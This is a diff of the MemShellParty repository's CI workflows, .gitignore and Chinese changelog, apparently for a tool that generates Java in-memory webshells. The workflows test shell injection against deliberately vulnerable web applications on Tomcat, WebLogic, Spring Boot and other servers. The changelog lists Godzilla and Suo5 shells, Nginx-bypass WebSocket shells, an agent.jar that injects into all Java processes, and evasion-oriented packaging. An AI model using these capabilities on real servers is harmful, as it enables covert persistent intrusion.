depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "jetty"
|
- middleware: "jetty"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jbossas"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "jbosseap"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jbossas"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "jbosseap"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "wildfly"
|
- middleware: "wildfly"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "glassfish"
|
- middleware: "glassfish"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "resin"
|
- middleware: "resin"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "payara"
|
- middleware: "payara"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "websphere"
|
- middleware: "websphere"
|
||||||
@@ -42,49 +41,36 @@ jobs:
|
|||||||
- middleware: "websphere7"
|
- middleware: "websphere7"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "weblogic"
|
- middleware: "weblogic"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "springwebmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
- middleware: "springwebflux"
|
- middleware: "springwebflux"
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
- middleware: "xxljob"
|
- middleware: "xxljob"
|
||||||
depend_tasks: ""
|
depend_tasks: ""
|
||||||
- middleware: "struts2"
|
runs-on: ubuntu-latest
|
||||||
depend_tasks: ":vul:vul-struts2:war"
|
|
||||||
- middleware: "jenkins"
|
|
||||||
depend_tasks: ""
|
|
||||||
- middleware: "geronimo"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "dubbo"
|
|
||||||
depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath"
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@v6
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
- name: Prepare for Integration Test
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
- name: Integration Test with gradle
|
||||||
if: matrix.cases.middleware != 'dubbo'
|
|
||||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
- name: Dubbo Integration Test with gradle
|
|
||||||
if: matrix.cases.middleware == 'dubbo'
|
|
||||||
run: ./gradlew :integration-test:dubboContainerTest --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
- name: Export Integration Test Summary
|
||||||
uses: mikepenz/action-junit-report@v5
|
uses: mikepenz/action-junit-report@v5
|
||||||
if: success() || failure()
|
if: success() || failure()
|
||||||
with:
|
with:
|
||||||
report_paths: '**/build/test-results/*/TEST-*.xml'
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
|
|||||||
@@ -21,17 +21,17 @@ jobs:
|
|||||||
- middleware: "tomcat"
|
- middleware: "tomcat"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "jetty"
|
- middleware: "jetty"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jbossas"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "jbosseap"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jbossas"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "jbosseap"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "wildfly"
|
- middleware: "wildfly"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "glassfish"
|
- middleware: "glassfish"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "resin"
|
- middleware: "resin"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "payara"
|
- middleware: "payara"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "websphere"
|
- middleware: "websphere"
|
||||||
@@ -39,27 +39,25 @@ jobs:
|
|||||||
- middleware: "websphere7"
|
- middleware: "websphere7"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "weblogic"
|
- middleware: "weblogic"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "springwebmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
- middleware: "springwebflux"
|
- middleware: "springwebflux"
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
- middleware: "struts2"
|
runs-on: ubuntu-latest
|
||||||
depend_tasks: ":vul:vul-struts2:war"
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@v6
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
- name: Prepare for Integration Test
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
@@ -68,7 +66,7 @@ jobs:
|
|||||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
- name: Export Integration Test Summary
|
||||||
uses: mikepenz/action-junit-report@v6
|
uses: mikepenz/action-junit-report@v5
|
||||||
if: success() || failure()
|
if: success() || failure()
|
||||||
with:
|
with:
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ jobs:
|
|||||||
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
||||||
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Get Version
|
- name: Get Version
|
||||||
id: get_version
|
id: get_version
|
||||||
@@ -36,21 +36,16 @@ jobs:
|
|||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Setup Node
|
|
||||||
uses: actions/setup-node@v6
|
|
||||||
with:
|
|
||||||
node-version: 22
|
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
@@ -65,7 +60,7 @@ jobs:
|
|||||||
run: ./gradlew :boot:bootjar -x test
|
run: ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Upload Boot Jar
|
||||||
uses: actions/upload-artifact@v7
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/*.jar
|
path: boot/build/libs/*.jar
|
||||||
@@ -75,7 +70,7 @@ jobs:
|
|||||||
needs: [ info, build-jar ]
|
needs: [ info, build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
@@ -84,26 +79,26 @@ jobs:
|
|||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Login to GitHub Container Registry
|
- name: Login to GitHub Container Registry
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: ghcr.io
|
registry: ghcr.io
|
||||||
username: ${{ github.repository_owner }}
|
username: ${{ github.repository_owner }}
|
||||||
password: ${{ secrets.GITHUB_TOKEN }}
|
password: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v4
|
uses: docker/setup-qemu-action@v3
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v4
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
- name: Build and push
|
- name: Build and push
|
||||||
uses: docker/build-push-action@v7
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: boot
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
@@ -115,7 +110,7 @@ jobs:
|
|||||||
ghcr.io/reajason/memshell-party:latest
|
ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
- name: Build and push RedQueen
|
- name: Build and push RedQueen
|
||||||
uses: docker/build-push-action@v7
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: .
|
context: .
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
@@ -130,15 +125,15 @@ jobs:
|
|||||||
name: Deploy to Maven Central
|
name: Deploy to Maven Central
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Publish with Gradle
|
- name: Publish with Gradle
|
||||||
env:
|
env:
|
||||||
@@ -156,7 +151,7 @@ jobs:
|
|||||||
permissions:
|
permissions:
|
||||||
contents: write
|
contents: write
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
|
|||||||
@@ -1,47 +0,0 @@
|
|||||||
name: Single IntegrationTest
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
inputs:
|
|
||||||
depend_tasks:
|
|
||||||
description: '前置构建任务,如 :boot:jar :generator:jar'
|
|
||||||
required: false
|
|
||||||
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
|
||||||
type: string
|
|
||||||
test_class:
|
|
||||||
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
|
||||||
required: true
|
|
||||||
type: string
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
integration-test:
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
if: ${{ inputs.depend_tasks != '' }}
|
|
||||||
run: ./gradlew ${{ inputs.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
uses: mikepenz/action-junit-report@v5
|
|
||||||
if: success() || failure()
|
|
||||||
with:
|
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
|
||||||
@@ -17,16 +17,16 @@ jobs:
|
|||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@v6
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Generator Unit Test with Gradle
|
- name: Generator Unit Test with Gradle
|
||||||
run: ./gradlew :generator:test
|
run: ./gradlew :generator:test
|
||||||
|
|||||||
@@ -62,5 +62,3 @@ integration-test/**/bes
|
|||||||
integration-test/**/tongweb
|
integration-test/**/tongweb
|
||||||
integration-test/**/inforsuite
|
integration-test/**/inforsuite
|
||||||
integration-test/**/primeton
|
integration-test/**/primeton
|
||||||
vul/vul-springboot3-bes
|
|
||||||
vul/vul-springboot3-tongweb
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
[submodule "libs"]
|
|
||||||
path = libs
|
|
||||||
url = https://github.com/ReaJason/javaweb-sources.git
|
|
||||||
@@ -1,288 +1,10 @@
|
|||||||
---
|
# Changelog
|
||||||
title: 更新日志
|
|
||||||
icon: ScrollText
|
|
||||||
---
|
|
||||||
|
|
||||||
All notable changes to this project will be documented in this file.
|
All notable changes to this project will be documented in this file.
|
||||||
|
|
||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
## [v2.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.10.0) - 2026-08-30
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
1. (WEB)内存马/探测马支持查看 cfr 反编译源码(Thanks @4ra1n for [4ra1n/cfr-wasm](https://github.com/4ra1n/cfr-wasm))
|
|
||||||
2. 新增 FreeMarker SpEL/SpELJDK17 打包方式(Thanks @xcxmiku)
|
|
||||||
3. 新增 XSLT 打包方式
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
1. 修复 BES 10/11 部分场景 context 找不到(#157 By @su18,#156 Thanks @mssky9527)
|
|
||||||
2. 修复 TongWeb7 SpringBoot Embedded 下 Filter/Valve/Agent 马注入失败(Thanks @su18)
|
|
||||||
3. 修复哥斯拉/命令执行 WebFilter/NettyHandler 多次长延迟请求阻塞耗尽请求线程导致业务中断(Thanks @xcxmiku)
|
|
||||||
4. 修复 SpringBoot4 WebFlux WebFilter 注入失败
|
|
||||||
5. 修复自定义内存马传入 Java5 包含低版本指令时生成失败
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
1. 更新 fumadocs 版本和使用模式
|
|
||||||
2. 依赖更新
|
|
||||||
|
|
||||||
**Full Changelog:** [v2.9.0...v2.10.0](https://github.com/ReaJason/MemShellParty/compare/v2.9.0...v2.10.0)
|
|
||||||
|
|
||||||
## [v2.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.9.0) - 2026-08-03
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
1. 支持 Resin2 和 Jetty5 内存马注入和回显(#137 By @ReaJason)
|
|
||||||
2. 支持 XXL-JOB 2.2.0 以下版本注入 Netty 马(#151 Thanks @fasnow)
|
|
||||||
3. 支持 WebLogic WebSocket 内存马注入
|
|
||||||
4. 支持 GlassFish 7/8 JDK21、Payara 6/7 JDK21 内存注入和回显
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
1. 优化 Suo5V2 通信(#152 By @zema1)
|
|
||||||
2. 依赖更新
|
|
||||||
|
|
||||||
**Full Changelog:** [v2.8.0...v2.9.0](https://github.com/ReaJason/MemShellParty/compare/v2.8.0...v2.9.0)
|
|
||||||
|
|
||||||
## [v2.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.8.0) - 2026-06-13
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
1. 新增对 [Winstone-Jetty](https://github.com/jenkinsci/winstone)(Jenkins 2.491.1)和 [Geronimo-Jetty](https://github.com/apache/geronim)(Jetty 7.1) 上下文采集注入(Thanks @su18)
|
|
||||||
2. 新增 Godzilla DubboService 内存马注入,默认使用 XOR_Base64(仅支持特战版,Thanks @ReaJason)
|
|
||||||
3. (UI)支持选取具体的打包方式
|
|
||||||
4. (UI)当选择 SpringGzipJDK17 的打包方式时自动将注入器类名为 org.springframework.expression. 开头的随机生成类名
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
1. 修复 Jetty 7.1.6 回显马找不到 request/response 导致回显失败
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
1. boot 使用 SpringBoot 4.1.0 版本 + Dockerfile 中默认 jre21
|
|
||||||
2. 依赖更新
|
|
||||||
|
|
||||||
**Full Changelog:** [v2.7.2...v2.8.0](https://github.com/ReaJason/MemShellParty/compare/v2.7.2...v2.8.0)
|
|
||||||
|
|
||||||
## [v2.7.2](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.2) - 2026-05-24
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
1. 修复 Web 回显马生成界面,调试模式、绕过模块限制等开关不可用(Thanks @xcxmiku)
|
|
||||||
|
|
||||||
**Full Changelog:** [v2.7.1...v2.7.2](https://github.com/ReaJason/MemShellParty/compare/v2.7.1...v2.7.2)
|
|
||||||
|
|
||||||
## [v2.7.1](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.1) - 2026-05-24
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
1. 修复 SpELSpringGzipJDK17 高版本 org.springframework.util.Base64Utils 类被删除导致无法使用
|
|
||||||
2. 修复 TongWeb 7.0.4.9、BES 11.0.0 回显失效
|
|
||||||
3. 修复命名错误 struct2 -> struts2
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
1. 依赖更新、文档更新
|
|
||||||
|
|
||||||
**Full Changelog:** [v2.7.0...v2.7.1](https://github.com/ReaJason/MemShellParty/compare/v2.7.0...v2.7.1)
|
|
||||||
|
|
||||||
## [v2.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.0) - 2026-04-26
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
1. 添加 Alibaba Dubbo 和 Apache Dubbo Service 内存马,专门针对 Dubbo Provider 的场景(#32 By @ReaJason)
|
|
||||||
2. 为 Attacher 添加默认列举 Java 进程和 `all` 参数注入所有 Java 进程的代码(与 JMG Agent.jar 命令一致)
|
|
||||||
```bash
|
|
||||||
java -jar agent.jar # 列举所有 Java 进程
|
|
||||||
java -jar agent.jar <pid> # 注入指定 PID Java 进程
|
|
||||||
java -jar agent.jar all # 注入所有 Java 进程
|
|
||||||
```
|
|
||||||
3. 添加 Command Base64 Encryptor,方便测试 Base64 流量特征攻击
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
1. 修复测试用例 WAS7(IBM JDK6) 下需要添加 `-Xshareclasses:none` JVM 参数才能注入成功,否则报错 UnmodifiableClassException
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
1. 添加 tomcat-embed-core 依赖,Spring Boot 4 应用依赖时能直接使用 Tomcat 容器进行部署(Spring Boot 4 不再支持 Undertow)
|
|
||||||
2. 前端依赖更新,将格式化工具 biomejs 改为 oxc
|
|
||||||
|
|
||||||
**Full Changelog:** [v2.6.1...v2.7.0](https://github.com/ReaJason/MemShellParty/compare/v2.6.1...v2.7.0)
|
|
||||||
|
|
||||||
## [v2.6.1](https://github.com/ReaJason/MemShellParty/releases/tag/v2.6.1) - 2026-03-30
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
1. (UI)修复 SpringWebMVC 生成 Controller 点击生成按钮无效(#140 Thanks @ekkoo-z By @ReaJason)
|
|
||||||
2. 修复 WebSocket Proxy OOM(#127 Thanks @xiaoxiaoranxxx)
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
1. 依赖更新
|
|
||||||
2. web docs 更新,支持复制 markdown 以及点击跳转 GitHub 等界面
|
|
||||||
|
|
||||||
**Full Changelog:** [v2.6.0...v2.6.1](https://github.com/ReaJason/MemShellParty/compare/v2.6.0...v2.6.1)
|
|
||||||
|
|
||||||
## [v2.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.6.0) - 2026-02-08
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
1. 为 ByteBuddyGenerator 添加 postProcessBytes 模板方法,支持生成后对 shell bytes 进行操作
|
|
||||||
2. 支持 Resin 2.1.17 Agent 内存马的生成
|
|
||||||
3. 同步更新 Suo5V2 v2.5.1 修复逻辑(#135 By @zema1)
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
1. (UI)修复生成按钮防连点失效(By @ReaJason)
|
|
||||||
2. 修复 ServletRenameVisitorWrapper 可能会导致部分 ByteBuddy Advisor 方法选中失效
|
|
||||||
3. 去除 JSP 脚本中 `Class<?>` 泛型,改为 `Class`,修复低版本 Servlet 容器解析失败
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
1. Suo5V2 抽取 Loader 进行 Suo5V2 的核心代码加载,增加可维护性(#136)
|
|
||||||
2. 依赖更新
|
|
||||||
|
|
||||||
**Full Changelog:** [v2.5.0...v2.6.0](https://github.com/ReaJason/MemShellParty/compare/v2.5.0...v2.6.0)
|
|
||||||
|
|
||||||
## [v2.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.5.0) - 2026-01-19
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
1. 添加 WebSocket BypassNginx 实现,使用方式见文档(By @ReaJason)
|
|
||||||
2. 添加 WebSocket Proxy 实现,使用方式见文档(#126,Thanks @xiaoxiaoranxxx)
|
|
||||||
3. 添加 JSP/JSPX Unicode 打包方式(#116 Thanks @Ch1ngg)
|
|
||||||
4. (UI)添加目标 JRE 版本的选择,防止部分情况下无法使用 JDK8 API(#131 Thanks @LTP414)
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
1. 修复自定义内存马 Agent 型无法显式调用 Jakarta API(#131 Thanks @LTP414)
|
|
||||||
2. (UI)修复自定义内存马文件上传框中文字不居中
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
1. 调整哥斯拉 WebSocket 马使用 **AES_RAW** 同时支持 GitHub 插件和特战版都可连接,使用方式见文档
|
|
||||||
2. 重构 MemShell 和 ProbeShell 集成测试用例,减少代码量
|
|
||||||
